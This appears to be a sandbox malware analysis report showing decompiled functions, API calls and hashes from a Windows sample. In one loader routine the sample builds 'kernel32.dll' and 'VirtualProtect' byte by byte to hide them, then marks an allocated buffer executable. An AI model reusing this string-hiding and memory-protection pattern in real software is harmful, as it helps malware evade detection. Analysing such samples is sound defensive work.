Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: __invalid_parameter_memset
String ID: (_HEAP_MAXREQ / nNum) >= nSize$_calloc_dbg_impl$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 3961059608-1805389939
Opcode ID: 01c19a8fb9e69b67a2c6aa37af74e2a43ab5b9bdffcb180cddb2f0b8b2b466fd
Instruction ID: 90d3ed31ddd35b4fe97febe16960c18324c80a9a722ed9201eef24db914b903d
Opcode Fuzzy Hash: 01c19a8fb9e69b67a2c6aa37af74e2a43ab5b9bdffcb180cddb2f0b8b2b466fd
Instruction Fuzzy Hash: B711B6B1A40208BBDB00DF94DD86FDE7364EB58704F10855EF908AB2C1E7B8DA4087D9

Uniqueness

Uniqueness Score: -1.00%

Function 00419A19, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39
librarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 67%

			E00419A19(intOrPtr* __edx) {
				struct HINSTANCE__* _t1;
				int _t3;
				void* _t5;

				_push("VirtualProtect");
				"VirtualProtect" = 0x6b;
				"irtualProtect" = 0x65;
				"rtualProtect" = 0x72;
				"rotect" = 0x2e;
				 *0x441771 = 0x64;
				 *0x441772 = 0x6c;
				 *0x441774 = 0;
				M0044176B = 0x6e;
				M0044176C = 0x65;
				M0044176D = 0x6c;
				M0044176E = 0x33;
				M0044176F = 0x32;
				_pop(ss);
				 *__edx =  *__edx + __edx;
				 *0x441773 = 0x65; // executed
				_t1 = LoadLibraryA(??); // executed
				 *0x5447ec = _t1;
				 *0x441776 = 0;
				M0044176F = 0x50;
				M0044176D = 0x61;
				 *0x441771 = 0x6f;
				 *0x441775 = 0x74;
				M0044176C = 0x75;
				M0044176E = 0x6c;
				 *0x441774 = 0x63;
				M0044176B = 0x74;
				 *0x441772 = 0x74;
				"rtualProtect" = 0x72;
				"VirtualProtect" = 0x56;
				"rotect" = 0x72;
				"irtualProtect" = 0x69; // executed
				_t3 = VirtualProtect( *0x443950,  *0x54abf4, 0x40, _t5 + 1); // executed
				return _t3;
			}

0x00419a1a
0x00419a1f
0x00419a26
0x00419a2d
0x00419a34
0x00419a3b
0x00419a42
0x00419a49
0x00419a50
0x00419a57
0x00419a5e
0x00419a65
0x00419a6c
0x00419a6f
0x00419a71
0x00419a73
0x00419a7a
0x00419a80
0x00419a91
0x00419a9e
0x00419aa5
0x00419aac
0x00419ab3
0x00419aba
0x00419ac1
0x00419ac8
0x00419acf
0x00419ad6
0x00419add
0x00419ae4
0x00419aeb
0x00419af2
0x00419af9
0x00419b00

APIs

LoadLibraryA.KERNELBASE(VirtualProtect), ref: 00419A7A
VirtualProtect.KERNELBASE(00000040,00000000), ref: 00419AF9

Strings

VirtualProtect, xrefs: 00419A1A

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: LibraryLoadProtectVirtual
String ID: VirtualProtect
API String ID: 3279857687-268857135
Opcode ID: 6fe4be1b29b2fff6b157878c0b56705c4bb63ddac9543f36666507c4732849c4
Instruction ID: a44d3fd7188d438d037021823585f88e8d970895fa3d624442d68c6aa49d3ab3
Opcode Fuzzy Hash: 6fe4be1b29b2fff6b157878c0b56705c4bb63ddac9543f36666507c4732849c4
Instruction Fuzzy Hash: 69211B2C54C7C0D9E302E738EE087453E969323769F1841A991D55A2B2C7FF21A8CB3E

Uniqueness

Uniqueness Score: -1.00%

Function 005705B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 005705EC

Strings

o, xrefs: 00570600
apfHQ, xrefs: 005705E2, 005705E5

Memory Dump Source

Source File: 00000000.00000002.667624367.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_ECD2MpEBSf.jbxd

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 5d20a7744bc3e6423822e5bde09c9cc381b2fc476a90569757841db8b835092e
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 23011E70C0424CEADF10DB98D5587AEBFF5AF41308F148099C4092B282D7769B59DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0041B7FF, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0041B7FF(intOrPtr __eax, void* __ecx) {
				intOrPtr _t20;
				void* _t27;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t27 - 4)) = __eax;
					if( *((intOrPtr*)(_t27 - 4)) != 0) {
						break;
					}
					L3:
					if( *((intOrPtr*)(_t27 + 0xc)) != 0) {
						L5:
						if(E00429340(__ecx,  *((intOrPtr*)(_t27 + 8))) != 0) {
							L7:
							L1:
							L0041B850( *((intOrPtr*)(_t27 + 8)),  *((intOrPtr*)(_t27 + 0x10)),  *((intOrPtr*)(_t27 + 0x14)),  *((intOrPtr*)(_t27 + 0x18)),  *((intOrPtr*)(_t27 + 0x1c)));
							continue;
						} else {
							L6:
							 *((intOrPtr*)( *((intOrPtr*)(_t27 + 0x1c)))) = 0xc;
							_t20 = 0;
						}
					} else {
						L4:
						 *((intOrPtr*)( *((intOrPtr*)(_t27 + 0x1c)))) = 0xc;
						_t20 =  *((intOrPtr*)(_t27 - 4));
					}
					L8:
					return _t20;
					L9:
				}
				L2:
				_t20 =  *((intOrPtr*)(_t27 - 4));
				goto L8;
			}

0x0041b7ff
0x0041b7ff
0x0041b7ff
0x0041b802
0x0041b809
0x00000000
0x00000000
0x0041b810
0x0041b814
0x0041b824
0x0041b832
0x0041b841
0x0041b7e6
0x0041b7fa
0x00000000
0x0041b834
0x0041b834
0x0041b837
0x0041b83d
0x0041b83d
0x0041b816
0x0041b816
0x0041b819
0x0041b81f
0x0041b81f
0x0041b843
0x0041b846
0x00000000
0x0041b846
0x0041b80b
0x0041b80b
0x00000000

Strings

QQ, xrefs: 0041B7F9

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID:
String ID: QQ
API String ID: 0-3460843698
Opcode ID: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction ID: ef033fa53dbe51dc52b49c4ee401ff03e344f5f054f6d5b9f82d298ac3aee029
Opcode Fuzzy Hash: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction Fuzzy Hash: F50119B5A04109EBDB14EF94D880BEB77B8EF48704F10815AFD0587240D338EE92DB95

Uniqueness

Uniqueness Score: -1.00%

Function 00419A6F, Relevance: 3.0, APIs: 2, Instructions: 28
librarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 69%

			E00419A6F(intOrPtr* __edx) {
				struct HINSTANCE__* _t1;
				int _t3;
				void* _t6;

				_pop(ss);
				 *__edx =  *__edx + __edx;
				 *0x441773 = 0x65; // executed
				_t1 = LoadLibraryA(??); // executed
				 *0x5447ec = _t1;
				 *0x441776 = 0;
				M0044176F = 0x50;
				M0044176D = 0x61;
				 *0x441771 = 0x6f;
				 *0x441775 = 0x74;
				M0044176C = 0x75;
				M0044176E = 0x6c;
				 *0x441774 = 0x63;
				M0044176B = 0x74;
				 *0x441772 = 0x74;
				"rtualProtect" = 0x72;
				"VirtualProtect" = 0x56;
				"rotect" = 0x72;
				"irtualProtect" = 0x69; // executed
				_t3 = VirtualProtect( *0x443950,  *0x54abf4, 0x40, _t6 + 1); // executed
				return _t3;
			}

0x00419a6f
0x00419a71
0x00419a73
0x00419a7a
0x00419a80
0x00419a91
0x00419a9e
0x00419aa5
0x00419aac
0x00419ab3
0x00419aba
0x00419ac1
0x00419ac8
0x00419acf
0x00419ad6
0x00419add
0x00419ae4
0x00419aeb
0x00419af2
0x00419af9
0x00419b00

APIs

LoadLibraryA.KERNELBASE(VirtualProtect), ref: 00419A7A
VirtualProtect.KERNELBASE(00000040,00000000), ref: 00419AF9

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: LibraryLoadProtectVirtual
String ID:
API String ID: 3279857687-0
Opcode ID: bd4329cd2658ec523e57c56e8e59f25343379e45eb2a56a684a67b9df5abf011
Instruction ID: 46ff8a631e59bb478556cfaaa0542c845c6034905532f1148b192b7c6e3db230
Opcode Fuzzy Hash: bd4329cd2658ec523e57c56e8e59f25343379e45eb2a56a684a67b9df5abf011
Instruction Fuzzy Hash: 23018C2C44C3C0DDE302E778AE087413F96D727759F0841A8D1A55A2B2C7BA21A8CB2E

Uniqueness

Uniqueness Score: -1.00%

Function 00424530, Relevance: 1.5, APIs: 1, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00424530() {
				void* _t1;

				_t1 = E00424460(0); // executed
				return _t1;
			}

0x00424537
0x00424540

APIs

__encode_pointer.LIBCMTD ref: 00424537

Part of subcall function 00424460: TlsGetValue.KERNEL32(00000004), ref: 00424475
Part of subcall function 00424460: TlsGetValue.KERNEL32(00000004,00000005), ref: 00424496
Part of subcall function 00424460: __crt_wait_module_handle.LIBCMTD ref: 004244AC
Part of subcall function 00424460: GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 004244C6
Part of subcall function 00424460: RtlEncodePointer.NTDLL(?), ref: 004244E7

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: Value$AddressEncodePointerProc__crt_wait_module_handle__encode_pointer
String ID:
API String ID: 568403282-0
Opcode ID: 4910bf5801155143916dbb33b30045cd9bbeedd00758362c9e9c67699a610058
Instruction ID: 2407628d2cd395c8065a274c720062c1f31ae70a20fa493e6b2c7dd0c7e24d8f
Opcode Fuzzy Hash: 4910bf5801155143916dbb33b30045cd9bbeedd00758362c9e9c67699a610058
Instruction Fuzzy Hash: 01A0126254420C23D04030833803B12350C83C063CE480021F50D051422842B4104497

Uniqueness

Uniqueness Score: -1.00%

Function 0041B4A0, Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			_entry_() {
				void* _t2;
				void* _t3;
				void* _t4;
				void* _t5;

				E00428540(); // executed
				_t2 = L0041B4C0(_t3, _t4, _t5); // executed
				return _t2;
			}

0x0041b4a5
0x0041b4aa
0x00000000

APIs

___security_init_cookie.LIBCMTD ref: 0041B4A5

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: 82cb0ec5c1a98f673954076b00431c8ff9bcc0c7e92cffaa9b49de3c4d628194
Instruction ID: 83b90559abbd9ad605e657e7e5da3f74fc2a6f2fb0ef6046f1a0e183de4e2e37
Opcode Fuzzy Hash: 82cb0ec5c1a98f673954076b00431c8ff9bcc0c7e92cffaa9b49de3c4d628194
Instruction Fuzzy Hash: 2CA0026110566C26439137A71407D4E754D8CC5B1C7E5411E751C022032D5CA88140EE

Uniqueness

Uniqueness Score: -1.00%

Function 00419B01, Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000000), ref: 00419B09

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: c5652da4b9a0751b24a4bb7e442be5ed37a4c831d8d269b5dfcf17dbb6553f87
Instruction ID: 019fb2e64a9b276ebf310d41e95adf70c6358cc02637eb6adb2296fd202f371f
Opcode Fuzzy Hash: c5652da4b9a0751b24a4bb7e442be5ed37a4c831d8d269b5dfcf17dbb6553f87
Instruction Fuzzy Hash: 12B012B94413419BC7404F60AE047403F61F306703F000020F200D0674C7700080AB05

Uniqueness

Uniqueness Score: -1.00%

Function 00419B02, Relevance: 1.3, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00419B02(void* __eax) {
				void* _t3;

				_t3 = LocalAlloc(0, ??); // executed
				 *0x443950 = _t3;
				return _t3;
			}

0x00419b09
0x00419b0f
0x00419b14

APIs

LocalAlloc.KERNELBASE(00000000), ref: 00419B09

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 3571bb372733993f9b4c96057daa876bbc03d7ea11c7f877e755b551834daa39
Instruction ID: 21ac284789e0f913026888750c1f1c21f765b9dfa4357f74692eb68b3a7f463c
Opcode Fuzzy Hash: 3571bb372733993f9b4c96057daa876bbc03d7ea11c7f877e755b551834daa39
Instruction Fuzzy Hash: 5BB011B8082382AAC3808F20AA08B803EA0F302B0BF000030B200E0AA8CBB000808A0A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0042CB72, Relevance: 107.3, APIs: 39, Strings: 22, Instructions: 501
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E0042CB72() {
				struct _OVERLAPPED* _t166;
				WCHAR* _t170;
				signed int _t181;
				long _t184;
				intOrPtr _t190;
				signed int _t195;
				void* _t200;
				void* _t203;
				void* _t207;
				struct _OVERLAPPED* _t215;
				struct _OVERLAPPED** _t216;
				intOrPtr _t233;
				void* _t243;
				void* _t244;
				void* _t245;
				signed int _t267;
				signed int _t269;
				void* _t303;
				void* _t304;
				void* _t305;
				void* _t306;
				signed int _t307;
				void* _t309;
				void* _t311;
				void* _t313;
				void* _t315;

				if(InterlockedIncrement(0x441060) <= 0) {
					if( *((intOrPtr*)(_t307 + 0x18)) != 0) {
						 *(_t307 - 0x7038) =  *(L00422D00(_t245));
						 *(L00422D00(_t245)) = 0;
						_t282 =  *((intOrPtr*)(_t307 + 0x1c));
						_t233 = E00438210(_t307 - 0x7030, 0x1000, 0xfeb,  *((intOrPtr*)(_t307 + 0x18)),  *((intOrPtr*)(_t307 + 0x1c)));
						_t309 = _t309 + 0x14;
						 *((intOrPtr*)(_t307 - 0x7034)) = _t233;
						if( *((intOrPtr*)(_t307 - 0x7034)) < 0) {
							E0041D8E0( *(L00422D00(_t282)), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x206, 0);
							_t309 = _t309 + 0x20;
						}
						 *(L00422D00(_t282)) =  *(_t307 - 0x7038);
						if( *((intOrPtr*)(_t307 - 0x7034)) < 0) {
							E0041DE50(E0042DB80(_t243, _t282, _t303, _t305, _t307 - 0x7030, 0x1000, L"_CrtDbgReport: String too long or IO Error"), _t236, L"wcscpy_s(szUserMessage, 4096, L\"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x209, 0);
							_t309 = _t309 + 0x24;
						}
					}
					if( *(_t307 + 8) == 2) {
						if( *((intOrPtr*)(_t307 + 0x18)) == 0) {
							 *((intOrPtr*)(_t307 - 0x8070)) = L"Assertion failed!";
						} else {
							 *((intOrPtr*)(_t307 - 0x8070)) = L"Assertion failed: ";
						}
						E0041DE50(E0042DB80(_t243,  *((intOrPtr*)(_t307 - 0x8070)), _t303, _t305, _t307 - 0x5030, 0x1000,  *((intOrPtr*)(_t307 - 0x8070))), _t227, L"wcscpy_s(szLineMessage, 4096, szFormat ? L\"Assertion failed: \" : L\"Assertion failed!\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x20e, 0);
						_t309 = _t309 + 0x24;
					}
					_t246 = _t307 - 0x5030;
					E0041DE50(E00437840(_t243, _t307 - 0x5030, _t303, _t305, _t307 - 0x5030, 0x1000, _t307 - 0x7030), _t159, L"wcscat_s(szLineMessage, 4096, szUserMessage)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x210, 0);
					_t311 = _t309 + 0x24;
					if( *(_t307 + 8) == 2) {
						if(( *(0x441064 +  *(_t307 + 8) * 4) & 0x00000001) != 0) {
							_t246 = _t307 - 0x5030;
							E0041DE50(E00437840(_t243, _t307 - 0x5030, _t303, _t305, _t307 - 0x5030, 0x1000, "\r"), _t225, L"wcscat_s(szLineMessage, 4096, L\"\\r\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x215, 0);
							_t311 = _t311 + 0x24;
						}
						E0041DE50(E00437840(_t243, _t246, _t303, _t305, _t307 - 0x5030, 0x1000, "\n"), _t223, L"wcscat_s(szLineMessage, 4096, L\"\\n\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x217, 0);
						_t311 = _t311 + 0x24;
					}
					if( *(_t307 + 0xc) == 0) {
						E0041DE50(E0042DB80(_t243, _t307 - 0x3028, _t303, _t305, _t307 - 0x3028, 0x1000, _t307 - 0x5030), _t162, L"wcscpy_s(szOutMessage, 4096, szLineMessage)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x225, 0);
						_t313 = _t311 + 0x24;
					} else {
						 *(_t307 - 0x703c) = 0;
						 *(_t307 - 0x7040) =  *(L00422D00(_t246));
						 *(L00422D00(_t246)) = 0;
						_push(_t307 - 0x5030);
						_push( *(_t307 + 0x10));
						_t279 = _t307 - 0x3028;
						_t215 = E0042D990(_t307 - 0x3028, _t307 - 0x3028, 0x1000, 0x1000, L"%s(%d) : %s",  *(_t307 + 0xc));
						_t313 = _t311 + 0x1c;
						 *(_t307 - 0x703c) = _t215;
						if( *(_t307 - 0x703c) < 0) {
							E0041D8E0( *((intOrPtr*)(L00422D00(_t279))), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x21f, 0);
							_t313 = _t313 + 0x20;
						}
						_t216 = L00422D00(_t279);
						_t280 =  *(_t307 - 0x7040);
						 *_t216 =  *(_t307 - 0x7040);
						if( *(_t307 - 0x703c) < 0) {
							E0041DE50(E0042DB80(_t243, _t280, _t303, _t305, _t307 - 0x3028, 0x1000, L"_CrtDbgReport: String too long or IO Error"), _t217, L"wcscpy_s(szOutMessage, 4096, L\"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x221, 0);
							_t313 = _t313 + 0x24;
						}
					}
					 *(_t307 - 0x7044) = 0;
					_t285 = _t307 - 0x3028;
					_t166 = E0041D8E0(L00437810(0, _t307 - 0x1020, 0x1000, _t307 - 0x3028, 0xffffffff), 0x16, 0x22, L"wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1))", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x22b, 0);
					_t315 = _t313 + 0x34;
					 *(_t307 - 0x7044) = _t166;
					if( *(_t307 - 0x7044) != 0) {
						E0041DE50(E0041D9D0(_t243, _t307 - 0x1020, _t305, _t307 - 0x1020, 0x1000, "_CrtDbgReport: String too long or Invalid characters in String"), _t209, L"strcpy_s(szOutMessage2, 4096, \"_CrtDbgReport: String too long or Invalid characters in String\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x22d, 0);
						_t315 = _t315 + 0x24;
					}
					if( *0x54b818 != 0 ||  *0x54b814 != 0) {
						 *(_t307 - 0x704c) = 0;
						 *(_t307 - 0x7048) = 0;
						L0041E1B0(0xf);
						_t315 = _t315 + 4;
						 *(_t307 - 4) = 1;
						_t285 =  *0x54b818;
						 *(_t307 - 0x704c) =  *0x54b818;
						while( *(_t307 - 0x704c) != 0) {
							 *(_t307 - 0x7050) = 0;
							_t285 =  *(_t307 - 0x704c);
							_t207 =  *(( *(_t307 - 0x704c))[6])( *(_t307 + 8), _t307 - 0x1020, _t307 - 0x7050);
							_t315 = _t315 + 0xc;
							if(_t207 == 0) {
								 *(_t307 - 0x704c) = ( *(_t307 - 0x704c))[2];
								continue;
							} else {
								 *(_t307 - 0x1024) =  *(_t307 - 0x7050);
								 *(_t307 - 0x302c) = 1;
							}
							break;
						}
						if( *(_t307 - 0x302c) == 0) {
							_t285 =  *0x54b814;
							 *(_t307 - 0x7048) =  *0x54b814;
							while( *(_t307 - 0x7048) != 0) {
								 *(_t307 - 0x7054) = 0;
								_t285 =  *(_t307 - 0x7048);
								_t203 =  *(( *(_t307 - 0x7048))[6])( *(_t307 + 8), _t307 - 0x3028, _t307 - 0x7054);
								_t315 = _t315 + 0xc;
								if(_t203 == 0) {
									 *(_t307 - 0x7048) = ( *(_t307 - 0x7048))[2];
									continue;
								} else {
									 *(_t307 - 0x1024) =  *(_t307 - 0x7054);
									 *(_t307 - 0x302c) = 1;
								}
								goto L43;
							}
						}
						L43:
						 *(_t307 - 4) = 0;
						E0042D0EA();
					}
					if( *(_t307 - 0x302c) == 0) {
						if( *0x54b810 != 0) {
							 *(_t307 - 0x7058) = 0;
							_t285 = _t307 - 0x7058;
							_t200 =  *0x54b810( *(_t307 + 8), _t307 - 0x1020, _t307 - 0x7058);
							_t315 = _t315 + 0xc;
							if(_t200 != 0) {
								_t285 =  *(_t307 - 0x7058);
								 *(_t307 - 0x1024) =  *(_t307 - 0x7058);
								 *(_t307 - 0x302c) = 1;
							}
						}
						if( *(_t307 - 0x302c) == 0) {
							if(( *(0x441064 +  *(_t307 + 8) * 4) & 0x00000001) != 0) {
								_t285 =  *(_t307 + 8);
								if( *(0x441070 +  *(_t307 + 8) * 4) != 0xffffffff) {
									_t181 =  *(_t307 + 8);
									_t263 =  *(0x441070 + _t181 * 4);
									 *((intOrPtr*)(_t307 - 0x8074)) = GetFileType( *(0x441070 + _t181 * 4));
									if( *((intOrPtr*)(_t307 - 0x8074)) == 2) {
										_t184 = E0042DB50(_t263, _t307 - 0x3028);
										_t315 = _t315 + 4;
										_t285 =  *(_t307 + 8);
										if(WriteConsoleW( *(0x441070 +  *(_t307 + 8) * 4), _t307 - 0x3028, _t184, _t307 - 0x705c, 0) == 0) {
											if(GetLastError() == 6) {
												goto L57;
											} else {
											}
										} else {
										}
									} else {
										L57:
										 *(_t307 - 0x8064) = 0;
										_t190 = E0041D8E0(L00437810(_t307 - 0x8064, _t307 - 0x8060, 0x1000, _t307 - 0x3028, 0xffffffff), 0x16, 0x22, L"wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1))", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x27e, 0);
										_t315 = _t315 + 0x34;
										 *((intOrPtr*)(_t307 - 0x8068)) = _t190;
										if( *((intOrPtr*)(_t307 - 0x8068)) == 0 ||  *((intOrPtr*)(_t307 - 0x8068)) == 0x50) {
											if( *(_t307 - 0x8064) > 0) {
												 *(_t307 - 0x8064) =  *(_t307 - 0x8064) - 1;
											}
											_t267 =  *(_t307 + 8);
											_t285 =  *(0x441070 + _t267 * 4);
											WriteFile( *(0x441070 + _t267 * 4), _t307 - 0x8060,  *(_t307 - 0x8064), _t307 - 0x705c, 0);
										} else {
											_t195 = E0042DB50(_t307 - 0x705c, _t307 - 0x3028);
											_t315 = _t315 + 4;
											_t269 =  *(_t307 + 8);
											_t285 =  *(0x441070 + _t269 * 4);
											WriteFile( *(0x441070 + _t269 * 4), _t307 - 0x3028, _t195 << 1, _t307 - 0x705c, 0);
										}
									}
								}
							}
							if(( *(0x441064 +  *(_t307 + 8) * 4) & 0x00000002) != 0) {
								_t285 = _t307 - 0x3028;
								OutputDebugStringW(_t307 - 0x3028);
							}
							if(( *(0x441064 +  *(_t307 + 8) * 4) & 0x00000004) != 0) {
								 *(_t307 - 0x5030) = 0;
								if( *(_t307 + 0x10) != 0) {
									E0041DE50(E00438240( *(_t307 + 0x10),  *(_t307 + 0x10), _t307 - 0x5030, 0x1000, 0xa), _t179, L"_itow_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x29c, 0);
									_t315 = _t315 + 0x28;
								}
								asm("sbb ecx, ecx");
								_t285 = _t307 - 0x5030;
								 *(_t307 - 0x1024) = E0041E280(_t243, _t307 - 0x5030, _t303, _t305,  *(_t307 + 8),  *(_t307 + 0xc),  ~( *(_t307 + 0x10)) & _t307 - 0x00005030,  *((intOrPtr*)(_t307 + 0x14)), _t307 - 0x7030);
							}
						}
					}
				} else {
					_t241 = E0041DE50(E00438240(_t307 - 0x5030,  *(_t307 + 0x10), _t307 - 0x5030, 0x1000, 0xa), _t240, L"_itow_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x1f0, 0);
					OutputDebugStringW(L"Second Chance Assertion Failed: File ");
					if( *(_t307 + 0xc) == 0) {
						 *(_t307 - 0x806c) = L"<file unknown>";
					} else {
						_t241 =  *(_t307 + 0xc);
						 *(_t307 - 0x806c) =  *(_t307 + 0xc);
					}
					OutputDebugStringW( *(_t307 - 0x806c));
					OutputDebugStringW(L", Line ");
					_t285 = _t307 - 0x5030;
					OutputDebugStringW(_t307 - 0x5030);
					OutputDebugStringW("\n");
					E0042C240(_t241);
					 *(_t307 - 0x1024) = 0xffffffff;
				}
				 *(_t307 - 4) = 0xfffffffe;
				E0042D377();
				_t170 =  *(_t307 - 0x1024);
				 *[fs:0x0] =  *((intOrPtr*)(_t307 - 0x10));
